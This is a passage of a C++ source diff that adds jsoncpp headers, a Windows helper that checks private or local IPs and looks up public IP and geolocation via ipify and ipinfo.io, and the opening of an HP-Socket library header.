/// \brief Insert value in array at specific index
bool insert(ArrayIndex index, const Value& newValue);
bool insert(ArrayIndex index, Value&& newValue);
/// Access an object value by name, create a null member if it does not exist.
/// \note Because of our implementation, keys are limited to 2^30 -1 chars.
/// Exceeding that will cause an exception.
Value& operator[](const char* key);
/// Access an object value by name, returns null if there is no member with
/// that name.
const Value& operator[](const char* key) const;
/// Access an object value by name, create a null member if it does not exist.
/// \param key may contain embedded nulls.
Value& operator[](const String& key);
/// Access an object value by name, returns null if there is no member with
/// that name.
/// \param key may contain embedded nulls.
const Value& operator[](const String& key) const;
/** \brief Access an object value by name, create a null member if it does not
* exist.
*
* If the object has no entry for that name, then the member name used to
* store the new entry is not duplicated.
* Example of use:
* \code
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
Value& operator[](const StaticString& key);
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
Value get(const char* key, const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \note key may contain embedded nulls.
Value get(const char* begin, const char* end,
const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \param key may contain embedded nulls.
Value get(const String& key, const Value& defaultValue) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
Value const* find(char const* begin, char const* end) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
Value const* find(const String& key) const;
/// Most general and efficient version of object-mutators.
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
/// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue.
Value* demand(char const* begin, char const* end);
/// \brief Remove and return the named member.
///
/// Do nothing if it did not exist.
/// \pre type() is objectValue or nullValue
/// \post type() is unchanged
void removeMember(const char* key);
/// Same as removeMember(const char*)
/// \param key may contain embedded nulls.
void removeMember(const String& key);
/// Same as removeMember(const char* begin, const char* end, Value* removed),
/// but 'key' is null-terminated.
bool removeMember(const char* key, Value* removed);
/** \brief Remove the named map member.
*
* Update 'removed' iff removed.
* \param key may contain embedded nulls.
* \return true iff removed (no exceptions)
*/
bool removeMember(String const& key, Value* removed);
/// Same as removeMember(String const& key, Value* removed)
bool removeMember(const char* begin, const char* end, Value* removed);
/** \brief Remove the indexed array element.
*
* O(n) expensive operations.
* Update 'removed' iff removed.
* \return true if removed (no exceptions)
*/
bool removeIndex(ArrayIndex index, Value* removed);
/// Return true if the object has a member named key.
/// \note 'key' must be null-terminated.
bool isMember(const char* key) const;
/// Return true if the object has a member named key.
/// \param key may contain embedded nulls.
bool isMember(const String& key) const;
/// Same as isMember(String const& key)const
bool isMember(const char* begin, const char* end) const;
/// \brief Return a list of the member names.
///
/// If null, return an empty list.
/// \pre type() is objectValue or nullValue
/// \post if type() was nullValue, it remains nullValue
Members getMemberNames() const;
/// \deprecated Always pass len.
JSONCPP_DEPRECATED("Use setComment(String const&) instead.")
void setComment(const char* comment, CommentPlacement placement) {
setComment(String(comment, strlen(comment)), placement);
}
/// Comments must be //... or /* ... */
void setComment(const char* comment, size_t len, CommentPlacement placement) {
setComment(String(comment, len), placement);
}
/// Comments must be //... or /* ... */
void setComment(String comment, CommentPlacement placement);
bool hasComment(CommentPlacement placement) const;
/// Include delimiters and embedded newlines.
String getComment(CommentPlacement placement) const;
String toStyledString() const;
const_iterator begin() const;
const_iterator end() const;
iterator begin();
iterator end();
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
const Value& front() const;
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& front();
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that value holds an array or json object, with at least one
/// element.
const Value& back() const;
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& back();
// Accessors for the [start, limit) range of bytes within the JSON text from
// which this value was parsed, if any.
void setOffsetStart(ptrdiff_t start);
void setOffsetLimit(ptrdiff_t limit);
ptrdiff_t getOffsetStart() const;
ptrdiff_t getOffsetLimit() const;
private:
void setType(ValueType v) {
bits_.value_type_ = static_cast<unsigned char>(v);
}
bool isAllocated() const { return bits_.allocated_; }
void setIsAllocated(bool v) { bits_.allocated_ = v; }
void initBasic(ValueType type, bool allocated = false);
void dupPayload(const Value& other);
void releasePayload();
void dupMeta(const Value& other);
Value& resolveReference(const char* key);
Value& resolveReference(const char* key, const char* end);
// struct MemberNamesTransform
//{
// typedef const char *result_type;
// const char *operator()( const CZString &name ) const
// {
// return name.c_str();
// }
//};
union ValueHolder {
LargestInt int_;
LargestUInt uint_;
double real_;
bool bool_;
char* string_; // if allocated_, ptr to { unsigned, char[] }.
ObjectValues* map_;
} value_;
struct {
// Really a ValueType, but types should agree for bitfield packing.
unsigned int value_type_ : 8;
// Unless allocated_, string_ must be null-terminated.
unsigned int allocated_ : 1;
} bits_;
class Comments {
public:
Comments() = default;
Comments(const Comments& that);
Comments(Comments&& that) noexcept;
Comments& operator=(const Comments& that);
Comments& operator=(Comments&& that) noexcept;
bool has(CommentPlacement slot) const;
String get(CommentPlacement slot) const;
void set(CommentPlacement slot, String comment);
private:
using Array = std::array<String, numberOfCommentPlacement>;
std::unique_ptr<Array> ptr_;
};
Comments comments_;
// [start, limit) byte offsets in the source JSON text from which this Value
// was extracted.
ptrdiff_t start_;
ptrdiff_t limit_;
};
template <> inline bool Value::as<bool>() const { return asBool(); }
template <> inline bool Value::is<bool>() const { return isBool(); }
template <> inline Int Value::as<Int>() const { return asInt(); }
template <> inline bool Value::is<Int>() const { return isInt(); }
template <> inline UInt Value::as<UInt>() const { return asUInt(); }
template <> inline bool Value::is<UInt>() const { return isUInt(); }
#if defined(JSON_HAS_INT64)
template <> inline Int64 Value::as<Int64>() const { return asInt64(); }
template <> inline bool Value::is<Int64>() const { return isInt64(); }
template <> inline UInt64 Value::as<UInt64>() const { return asUInt64(); }
template <> inline bool Value::is<UInt64>() const { return isUInt64(); }
#endif
template <> inline double Value::as<double>() const { return asDouble(); }
template <> inline bool Value::is<double>() const { return isDouble(); }
template <> inline String Value::as<String>() const { return asString(); }
template <> inline bool Value::is<String>() const { return isString(); }
/// These `as` specializations are type conversions, and do not have a
/// corresponding `is`.
template <> inline float Value::as<float>() const { return asFloat(); }
template <> inline const char* Value::as<const char*>() const {
return asCString();
}
/** \brief Experimental and untested: represents an element of the "path" to
* access a node.
*/
class JSON_API PathArgument {
public:
friend class Path;
PathArgument();
PathArgument(ArrayIndex index);
PathArgument(const char* key);
PathArgument(String key);
private:
enum Kind { kindNone = 0, kindIndex, kindKey };
String key_;
ArrayIndex index_{};
Kind kind_{kindNone};
};
/** \brief Experimental and untested: represents a "path" to access a node.
*
* Syntax:
* - "." => root node
* - ".[n]" => elements at index 'n' of root node (an array value)
* - ".name" => member named 'name' of root node (an object value)
* - ".name1.name2.name3"
* - ".[0][1][2].name1[3]"
* - ".%" => member name is provided as parameter
* - ".[%]" => index is provided as parameter
*/
class JSON_API Path {
public:
Path(const String& path, const PathArgument& a1 = PathArgument(),
const PathArgument& a2 = PathArgument(),
const PathArgument& a3 = PathArgument(),
const PathArgument& a4 = PathArgument(),
const PathArgument& a5 = PathArgument());
const Value& resolve(const Value& root) const;
Value resolve(const Value& root, const Value& defaultValue) const;
/// Creates the "path" to access the specified node and returns a reference on
/// the node.
Value& make(Value& root) const;
private:
using InArgs = std::vector<const PathArgument*>;
using Args = std::vector<PathArgument>;
void makePath(const String& path, const InArgs& in);
void addPathInArg(const String& path, const InArgs& in,
InArgs::const_iterator& itInArg, PathArgument::Kind kind);
static void invalidPath(const String& path, int location);
Args args_;
};
/** \brief base class for Value iterators.
*
*/
class JSON_API ValueIteratorBase {
public:
using iterator_category = std::bidirectional_iterator_tag;
using size_t = unsigned int;
using difference_type = int;
using SelfType = ValueIteratorBase;
bool operator==(const SelfType& other) const { return isEqual(other); }
bool operator!=(const SelfType& other) const { return !isEqual(other); }
difference_type operator-(const SelfType& other) const {
return other.computeDistance(*this);
}
/// Return either the index or the member name of the referenced value as a
/// Value.
Value key() const;
/// Return the index of the referenced Value, or -1 if it is not an
/// arrayValue.
UInt index() const;
/// Return the member name of the referenced Value, or "" if it is not an
/// objectValue.
/// \note Avoid `c_str()` on result, as embedded zeroes are possible.
String name() const;
/// Return the member name of the referenced Value. "" if it is not an
/// objectValue.
/// \deprecated This cannot be used for UTF-8 strings, since there can be
/// embedded nulls.
JSONCPP_DEPRECATED("Use `key = name();` instead.")
char const* memberName() const;
/// Return the member name of the referenced Value, or NULL if it is not an
/// objectValue.
/// \note Better version than memberName(). Allows embedded nulls.
char const* memberName(char const** end) const;
protected:
/*! Internal utility functions to assist with implementing
* other iterator functions. The const and non-const versions
* of the "deref" protected methods expose the protected
* current_ member variable in a way that can often be
* optimized away by the compiler.
*/
const Value& deref() const;
Value& deref();
void increment();
void decrement();
difference_type computeDistance(const SelfType& other) const;
bool isEqual(const SelfType& other) const;
void copy(const SelfType& other);
private:
Value::ObjectValues::iterator current_;
// Indicates that iterator is for a null value.
bool isNull_{true};
public:
// For some reason, BORLAND needs these at the end, rather
// than earlier. No idea why.
ValueIteratorBase();
explicit ValueIteratorBase(const Value::ObjectValues::iterator& current);
};
/** \brief const iterator for object and array value.
*
*/
class JSON_API ValueConstIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = const Value;
// typedef unsigned int size_t;
// typedef int difference_type;
using reference = const Value&;
using pointer = const Value*;
using SelfType = ValueConstIterator;
ValueConstIterator();
ValueConstIterator(ValueIterator const& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueConstIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const ValueIteratorBase& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
reference operator*() const { return deref(); }
pointer operator->() const { return &deref(); }
};
/** \brief Iterator for object and array value.
*/
class JSON_API ValueIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = Value;
using size_t = unsigned int;
using difference_type = int;
using reference = Value&;
using pointer = Value*;
using SelfType = ValueIterator;
ValueIterator();
explicit ValueIterator(const ValueConstIterator& other);
ValueIterator(const ValueIterator& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const SelfType& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
/*! The return value of non-const iterators can be
* changed, so the these functions are not const
* because the returned references/pointers can be used
* to change state of the base class.
*/
reference operator*() const { return const_cast<reference>(deref()); }
pointer operator->() const { return const_cast<pointer>(&deref()); }
};
inline void swap(Value& a, Value& b) { a.swap(b); }
inline const Value& Value::front() const { return *begin(); }
inline Value& Value::front() { return *begin(); }
inline const Value& Value::back() const { return *(--end()); }
inline Value& Value::back() { return *(--end()); }
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_H_INCLUDED

View File

@@ -0,0 +1,27 @@
#ifndef JSON_VERSION_H_INCLUDED
#define JSON_VERSION_H_INCLUDED
// Note: version must be updated in three places when doing a release. This
// annoying process ensures that amalgamate, CMake, and meson all report the
// correct version.
// 1. /meson.build
// 2. /include/json/version.h
// 3. /CMakeLists.txt
// IMPORTANT: also update the SOVERSION!!
#define JSONCPP_VERSION_STRING "1.9.6"
#define JSONCPP_VERSION_MAJOR 1
#define JSONCPP_VERSION_MINOR 9
#define JSONCPP_VERSION_PATCH 6
#define JSONCPP_VERSION_QUALIFIER
#define JSONCPP_VERSION_HEXA \
((JSONCPP_VERSION_MAJOR << 24) | (JSONCPP_VERSION_MINOR << 16) | \
(JSONCPP_VERSION_PATCH << 8))
#if !defined(JSONCPP_USE_SECURE_MEMORY)
#define JSONCPP_USING_SECURE_MEMORY 0
#endif
// If non-zero, the library zeroes any memory that it has allocated before
// it frees its memory.
#endif // JSON_VERSION_H_INCLUDED

View File

@@ -0,0 +1,368 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_WRITER_H_INCLUDED
#define JSON_WRITER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <ostream>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) && defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
class Value;
/**
*
* Usage:
* \code
* using namespace Json;
* void writeToStdout(StreamWriter::Factory const& factory, Value const& value)
* { std::unique_ptr<StreamWriter> const writer( factory.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* }
* \endcode
*/
class JSON_API StreamWriter {
protected:
OStream* sout_; // not owned; will not delete
public:
StreamWriter();
virtual ~StreamWriter();
/** Write Value into document as configured in sub-class.
* Do not take ownership of sout, but maintain a reference during function.
* \pre sout != NULL
* \return zero on success (For now, we always return zero, so check the
* stream instead.) \throw std::exception possibly, depending on
* configuration
*/
virtual int write(Value const& root, OStream* sout) = 0;
/** \brief A simple abstract factory.
*/
class JSON_API Factory {
public:
virtual ~Factory();
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual StreamWriter* newStreamWriter() const = 0;
}; // Factory
}; // StreamWriter
/** \brief Write into stringstream, then return string, for convenience.
* A StreamWriter will be created from the factory, used, and then deleted.
*/
String JSON_API writeString(StreamWriter::Factory const& factory,
Value const& root);
/** \brief Build a StreamWriter implementation.
* Usage:
* \code
* using namespace Json;
* Value value = ...;
* StreamWriterBuilder builder;
* builder["commentStyle"] = "None";
* builder["indentation"] = " "; // or whatever you like
* std::unique_ptr<Json::StreamWriter> writer(
* builder.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* \endcode
*/
class JSON_API StreamWriterBuilder : public StreamWriter::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* Available settings (case-sensitive):
* - "commentStyle": "None" or "All"
* - "indentation": "<anything>".
* - Setting this to an empty string also omits newline characters.
* - "enableYAMLCompatibility": false or true
* - slightly change the whitespace around colons
* - "dropNullPlaceholders": false or true
* - Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
* - "useSpecialFloats": false or true
* - If true, outputs non-finite floating point values in the following way:
* NaN values as "NaN", positive infinity as "Infinity", and negative
* infinity as "-Infinity".
* - "precision": int
* - Number of precision digits for formatting of real values.
* - "precisionType": "significant"(default) or "decimal"
* - Type of precision for formatting of real values.
* - "emitUTF8": false or true
* - If true, outputs raw UTF8 strings instead of escaping them.
* You can examine 'settings_` yourself
* to see the defaults. You can also write and read them just like any
* JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
StreamWriterBuilder();
~StreamWriterBuilder() override;
/**
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
StreamWriter* newStreamWriter() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
};
/** \brief Abstract class for writers.
* \deprecated Use StreamWriter. (And really, this is an implementation detail.)
*/
class JSON_API Writer {
public:
virtual ~Writer();
virtual String write(const Value& root) = 0;
};
/** \brief Outputs a Value in <a HREF="http://www.json.org">JSON</a> format
*without formatting (not human friendly).
*
* The JSON document is written in a single line. It is not intended for 'human'
*consumption,
* but may be useful to support feature such as RPC where bandwidth is limited.
* \sa Reader, Value
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API FastWriter : public Writer {
public:
FastWriter();
~FastWriter() override = default;
void enableYAMLCompatibility();
/** \brief Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
*/
void dropNullPlaceholders();
void omitEndingLineFeed();
public: // overridden from Writer
String write(const Value& root) override;
private:
void writeValue(const Value& value);
String document_;
bool yamlCompatibilityEnabled_{false};
bool dropNullPlaceholders_{false};
bool omitEndingLineFeed_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
*human friendly way.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
*line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
*types,
* and all the values fit on one lines, then print the array on a single
*line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
*#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledWriter : public Writer {
public:
StyledWriter();
~StyledWriter() override = default;
public: // overridden from Writer
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param root Value to serialize.
* \return String containing the JSON document that represents the root value.
*/
String write(const Value& root) override;
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
String document_;
String indentString_;
unsigned int rightMargin_{74};
unsigned int indentSize_{3};
bool addChildValues_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
human friendly way,
to a stream rather than to a string.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
types,
* and all the values fit on one lines, then print the array on a single
line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledStreamWriter {
public:
/**
* \param indentation Each level will be indented by this amount extra.
*/
StyledStreamWriter(String indentation = "\t");
~StyledStreamWriter() = default;
public:
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param out Stream to write to. (Can be ostringstream, e.g.)
* \param root Value to serialize.
* \note There is no point in deriving from Writer, since write() should not
* return a value.
*/
void write(OStream& out, const Value& root);
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
OStream* document_;
String indentString_;
unsigned int rightMargin_{74};
String indentation_;
bool addChildValues_ : 1;
bool indented_ : 1;
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
#if defined(JSON_HAS_INT64)
String JSON_API valueToString(Int value);
String JSON_API valueToString(UInt value);
#endif // if defined(JSON_HAS_INT64)
String JSON_API valueToString(LargestInt value);
String JSON_API valueToString(LargestUInt value);
String JSON_API valueToString(
double value, unsigned int precision = Value::defaultRealPrecision,
PrecisionType precisionType = PrecisionType::significantDigits);
String JSON_API valueToString(bool value);
String JSON_API valueToQuotedString(const char* value);
String JSON_API valueToQuotedString(const char* value, size_t length);
/// \brief Output using the StyledStreamWriter.
/// \see Json::operator>>()
JSON_API OStream& operator<<(OStream&, const Value& root);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_WRITER_H_INCLUDED

View File

@@ -0,0 +1,155 @@
#include "stdafx.h"
#include "parse_ip.h"
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Iphlpapi.lib")
/**
* 判断给定的 IP 地址是否是局域网内网IP
* @param ipAddress IP 地址字符串(如 "192.168.1.1"
* @return 如果是局域网 IP返回 true否则返回 false
*/
bool IsPrivateIP(const std::string& ipAddress) {
// 将 IP 地址字符串转换为二进制格式
in_addr addr;
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
return false;
}
// 将二进制 IP 地址转换为无符号整数
unsigned long ip = ntohl(addr.s_addr);
// 检查 IP 地址是否在局域网范围内
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
return true;
}
return false;
}
// 获取 IP 地址地理位置(基于[ipinfo.io])
std::string GetGeoLocation(const std::string& IP) {
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
if (ip.empty())
return "";
}
HINTERNET hInternet, hConnect;
DWORD bytesRead;
std::string readBuffer;
// 初始化 WinINet
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Mprintf("InternetOpen failed! %d\n", GetLastError());
return "";
}
// 创建 HTTP 请求句柄
std::string url = "http://ipinfo.io/" + ip + "/json";
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
InternetCloseHandle(hInternet);
return "";
}
// 读取返回的内容
char buffer[4096];
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
readBuffer.append(buffer, bytesRead);
}
// 解析 JSON 响应
Json::Value jsonData;
Json::Reader jsonReader;
std::string location;
if (jsonReader.parse(readBuffer, jsonData)) {
std::string country = jsonData["country"].asString();
std::string city = jsonData["city"].asString();
std::string loc = jsonData["loc"].asString(); // 经纬度信息
if (city.empty() && country.empty()) {
}else if (city.empty()) {
location = country;
}else if (country.empty()) {
location = city;
}else {
location = city + ", " + country;
}
if (location.empty() && IsPrivateIP(ip)) {
location = "Local Area Network";
}
}
else {
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
}
// 关闭句柄
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return location;
}
bool isLoopbackAddress(const std::string& ip) {
return (ip == "127.0.0.1" || ip == "::1");
}
bool isLocalIP(const std::string& ip) {
if (isLoopbackAddress(ip)) return true; // 先检查回环地址
ULONG outBufLen = 15000;
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAddresses);
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
}
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
if (ip == addressBuffer) {
free(pAddresses);
return true;
}
}
}
}
free(pAddresses);
return false;
}
// 获取公网IP, 获取失败返回空
std::string getPublicIP() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return std::string(buffer);
}

View File

@@ -0,0 +1,32 @@
#pragma once
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include "jsoncpp/json.h"
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
#pragma comment(lib, "wininet.lib")
// 获取 IP 地址地理位置
std::string GetGeoLocation(const std::string& ip);
bool isLocalIP(const std::string& ip);
std::string getPublicIP();
bool IsPrivateIP(const std::string& ipAddress);

View File

@@ -0,0 +1,827 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/******************************************************************************
Module: HPSocket
Usage:
方法一:
--------------------------------------------------------------------------------------
0. 应用程序包含 HPTypeDef.h / SocketInterface.h / HPSocket.h 头文件
1. 调用 HP_Create_Xxx() 函数创建 HPSocket 对象
2. 使用完毕后调用 HP_Destroy_Xxx() 函数销毁 HPSocket 对象
方法二:
--------------------------------------------------------------------------------------
0. 应用程序包含 SocketInterface.h 和 HPSocket.h 头文件
1. 创建 CXxxPtr 智能指针,通过智能指针使用 HPSocket 对象
Release:
<-- 动态链接库 -->
1. x86/HPSocket.dll - (32位/MBCS/Release)
2. x86/HPSocket_D.dll - (32位/MBCS/DeBug)
3. x86/HPSocket_U.dll - (32位/UNICODE/Release)
4. x86/HPSocket_UD.dll - (32位/UNICODE/DeBug)
5. x64/HPSocket.dll - (64位/MBCS/Release)
6. x64/HPSocket_D.dll - (64位/MBCS/DeBug)
7. x64/HPSocket_U.dll - (64位/UNICODE/Release)
8. x64/HPSocket_UD.dll - (64位/UNICODE/DeBug)
<-- 静态链接库 -->
!!注意!!:使用 HPSocket 静态库时,需要在工程属性中定义预处理宏 -> HPSOCKET_STATIC_LIB
1. x86/static/HPSocket.lib - (32位/MBCS/Release)
2. x86/static/HPSocket_D.lib - (32位/MBCS/DeBug)
3. x86/static/HPSocket_U.lib - (32位/UNICODE/Release)
4. x86/static/HPSocket_UD.lib - (32位/UNICODE/DeBug)
5. x64/static/HPSocket.lib - (64位/MBCS/Release)
6. x64/static/HPSocket_D.lib - (64位/MBCS/DeBug)
7. x64/static/HPSocket_U.lib - (64位/UNICODE/Release)
8. x64/static/HPSocket_UD.lib - (64位/UNICODE/DeBug)
******************************************************************************/
#pragma once
#include "SocketInterface.h"
/*****************************************************************************************************************************************************/
/****************************************************************** TCP/UDP Exports ******************************************************************/
/*****************************************************************************************************************************************************/
/**************************************************/
/************** HPSocket 对象智能指针 **************/
template<class T, class _Listener, class _Creator> class CHPObjectPtr
{
public:
